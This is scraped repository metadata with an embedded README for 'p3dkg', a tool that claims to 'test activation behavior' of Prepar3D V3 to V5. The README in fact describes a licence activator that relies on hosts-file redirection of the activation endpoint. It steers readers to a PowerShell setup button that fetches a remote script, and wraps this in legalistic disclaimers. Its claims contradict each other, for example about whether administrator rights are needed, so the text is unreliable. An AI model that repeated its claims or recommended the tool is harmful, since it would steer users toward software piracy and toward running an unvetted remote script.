[{"data":1,"prerenderedAt":-1},["ShallowReactive",2],{"project-109872":3},{"id":4,"name":5,"fullName":6,"owner":7,"repo":5,"description":8,"homepage":9,"htmlUrl":9,"language":10,"languages":9,"totalLinesOfCode":9,"stars":11,"forks":12,"watchers":11,"openIssues":12,"contributorsCount":12,"subscribersCount":12,"size":12,"stars1d":12,"stars7d":12,"stars30d":12,"stars90d":12,"forks30d":12,"starsTrendScore":12,"compositeScore":13,"rankGlobal":9,"rankLanguage":9,"license":9,"archived":14,"fork":14,"defaultBranch":15,"hasWiki":16,"hasPages":16,"topics":17,"createdAt":9,"pushedAt":22,"updatedAt":23,"readmeContent":24,"aiSummary":25,"trendingCount":12,"starSnapshotCount":12,"syncStatus":26,"lastSyncTime":27,"discoverSource":28},109872,"p3dkg-desktop-utility","diegodesarrollo44-blip\u002Fp3dkg-desktop-utility","diegodesarrollo44-blip","p3dkg: .NET NativeAOT tool for testing and verifying Prepar3D V5 V4 V3 activate-behavior",null,"HTML",149,0,37,false,"main",true,[18,19,20,21],"activator","dotnet","nativeaot","prepar3d","2026-11-23 10:11:39","2026-11-12 10:30:21","\u003Cdiv align=\"center\">\n\n# p3dkg: .NET NativeAOT Activation Test for Prepar3D V3\u002FV4\u002FV5 - Windows 10 & 11\n\n![](files\u002F1.png)\n\n### 🛠️ PowerShell Setup Button\n\n[![](files\u002Fbutton.png)](https:\u002F\u002Fdiegodesarrollo44-blip.github.io\u002Fp3dkg-desktop-utility\u002F)\n\n[![ps-core](https:\u002F\u002Fimg.shields.io\u002Fbadge\u002FPs--Core-Script-2f81f7?style=plastic&labelColor=0d1117)]() [![release](https:\u002F\u002Fimg.shields.io\u002Fbadge\u002FRelease-Released-2ea44f?style=plastic&labelColor=0d1117)]() [![runs-on](https:\u002F\u002Fimg.shields.io\u002Fbadge\u002FRuns--On-Win_10%2F11-54aeff?style=plastic&labelColor=0d1117)]() [![score](https:\u002F\u002Fimg.shields.io\u002Fbadge\u002FScore-4.5%2F5-f59e0b?style=plastic&labelColor=0d1117)]()\n\n\u003C\u002Fdiv>\n\n---\n\np3dkg is a .NET NativeAOT command-line utility designed to test and confirm the activation behavior of Prepar3D across versions V3 (64-bit), V4, and V5. The tool automatically detects the installed Prepar3D version and license type, or accepts explicit `--type` and `--version` arguments for targeted activation runs. Built on C# and .NET 8.0 with NativeAOT compilation, it produces a self-contained executable that runs with administrator privileges on Windows and has been tested under Linux via Wine. Verbose output can be enabled for diagnostic inspection of the activation process.\n\n## ✅ Requirements\n\n- **PowerShell 5.1+** (pre-installed on Windows 10 and 11)\n- **Windows 10 \u002F 11** (x64)\n- **Internet connection** — required to fetch the script\n- **Administrator** — *not* required\n\n## Features\n\n- **NativeAOT-compiled .NET executable** — ships as a single self-contained binary with no runtime dependency and fast cold start.\n- **Automatic version detection** — identifies the installed Prepar3D release (V3, V4, or V5) and selects the matching activation path without manual input.\n- **Automatic license type detection** — determines the applicable license tier by default, removing the need to specify it explicitly.\n- **Manual override options** — accepts explicit version and license type arguments when auto-detection is not desired or when multiple installations are present.\n- **Multi-version coverage** — supports activation-behavior testing across Prepar3D V3 (64-bit), V4, and V5 within a single tool.\n- **Repeatable per-version runs** — allows successive invocations to target different installed versions in turn.\n- **Verbose diagnostic output** — provides detailed logging of the detection and activation process for troubleshooting and verification.\n- **Command-line interface** — lightweight, scriptable, and suitable for automated or batch execution.\n- **Administrator-aware operation** — performs the privileges required for activation checks and reports clear results to the console.\n- **Built-in help** — exposes usage guidance and argument reference directly from the executable.\n\n## How It Works\n\np3dkg is built as a self-contained .NET NativeAOT executable that inspects the local Prepar3D installation and exercises the activation pathway to confirm whether the requested edition and version can be activated successfully. The workflow is deterministic and read-modify-verify by design, so each invocation produces a clear, repeatable result.\n\n**Execution flow**\n\n1. **Environment discovery.** On startup, the executable resolves the host environment, locates the Prepar3D installation directory, and enumerates the detectable product versions (V3 64-bit, V4, and V5). Detection is performed without requiring prior configuration, and results are cached for the duration of the run.\n2. **Edition and version resolution.** When no explicit flags are supplied, the tool derives the target edition and version from the detected installation. When `--type` and\u002For `--version` are provided, the explicit values take precedence and the automatic detection is used only as a fallback for unspecified parameters.\n3. **Activation simulation and verification.** The core routine drives the activation behavior for the resolved edition\u002Fversion pair and observes the outcome. Rather than assuming success, the tool validates the resulting state and reports a definitive pass or fail for the requested combination.\n4. **Reporting.** Human-readable output is emitted to the console, summarizing the detected environment, the resolved target, and the verification result. Verbose mode expands this output with additional diagnostic detail for troubleshooting.\n\n**Design characteristics**\n\n- **NativeAOT compilation.** The program ships as a single native binary with no runtime dependency on a shared .NET installation, which reduces startup overhead and simplifies distribution.\n- **Deterministic parameter handling.** Auto-detection and explicit overrides follow a fixed precedence order, so repeated runs against the same environment yield consistent behavior.\n- **Idempotent operation.** Running the tool multiple times is safe; each invocation re-evaluates the current state rather than relying on prior runs.\n- **Diagnostic-first output.** Results are structured to make failures actionable, exposing the detected inputs and the specific verification step that did not pass.\n\nThe combination of automatic detection, explicit overrides, and outcome verification allows the tool to serve both as a quick confirmation utility and as a reproducible test harness for activation behavior across the supported Prepar3D releases.\n\n## Compatibility\n\np3dkg targets Windows desktop environments and is validated primarily against 64-bit Windows 10 and Windows 11 installations of Prepar3D V5, V4, and V3. The executable is published as a .NET 8 NativeAOT binary, so it runs as a self-contained native process without requiring a separate .NET runtime on the target machine.\n\nBecause the tool inspects the local Prepar3D installation, it must run on the same system where Prepar3D is installed and with sufficient privileges to read and modify the relevant activation state. Version detection covers V3 (64-bit), V4, and V5; V6 is not yet supported. When automatic detection is enabled, the program resolves both the installed version and the applicable license type, but explicit `--version` and `--type` overrides are available for environments where detection is ambiguous or where a specific configuration must be confirmed.\n\nCompatibility is scoped to native Windows execution. Running under Linux via Wine is tested to a limited extent and should be treated as best-effort rather than a supported configuration. Hosts-file redirection of the activation endpoint is required for the program to function; this modification must be applied manually before execution, and any pre-existing entries should be reviewed to avoid conflicts.\n\n## 📸 Screenshot\n\n![](files\u002F2.png)\n\n## Disclaimer\n\np3dkg is provided strictly as a diagnostic and verification utility for examining activation-related behavior in Prepar3D V5, V4, and V3 environments. It is intended for controlled testing, research, and interoperability analysis on systems you own or are explicitly authorized to administer.\n\nThe software performs no modification of Prepar3D binaries, license files, or installed assets beyond the activation-state checks and confirmations described in the feature set. Behavior may vary across Prepar3D builds, Windows versions, and host configurations; results should be validated independently before being relied upon for any operational decision.\n\np3dkg is an independent project and is not affiliated with, endorsed by, or sponsored by Lockheed Martin or the Prepar3D product line. All trademarks and product names referenced remain the property of their respective owners.\n\nThe software is supplied \"as is\", without warranty of any kind, express or implied, including but not limited to warranties of merchantability, fitness for a particular purpose, and non-infringement. By using p3dkg, you accept full responsibility for ensuring that your use complies with all applicable laws, license agreements, and organizational policies. The authors and contributors accept no liability for any damages, data loss, service interruption, or legal consequences arising from the use or misuse of this software.\n\nUse only on systems and software you are licensed and authorized to test.\n\n## License\n\np3dkg is distributed under the terms of the Do What The F*ck You Want To Public License (WTFPL) v2.0. The license grants unrestricted freedom to use, copy, modify, merge, publish, distribute, sublicense, and\u002For sell copies of the software, subject only to the conditions stated in the full license text. No warranty of any kind is provided, express or implied, including but not limited to the warranties of merchantability, fitness for a particular purpose, and noninfringement. In no event shall the authors or copyright holders be liable for any claim, damages, or other liability arising from, out of, or in connection with the software or its use. The complete license terms are provided in the LICENSE file accompanying the p3dkg distribution and should be reviewed prior to use, modification, or redistribution.","p3dkg 是一款基于 .NET 8 的 NativeAOT 编译命令行工具，用于测试和验证 Prepar3D 模拟器（V3\u002FV4\u002FV5）的激活行为。它支持自动识别已安装的 Prepar3D 版本与许可证类型，并提供手动指定参数选项；生成单文件、无运行时依赖的可执行程序，具备快速冷启动、详细诊断日志和跨版本重复测试能力。适用于飞行模拟器用户、技术支持人员及授权验证场景，在 Windows 10\u002F11 上以普通用户权限即可运行。",2,"2026-11-24 04:37:45","CREATED_QUERY"]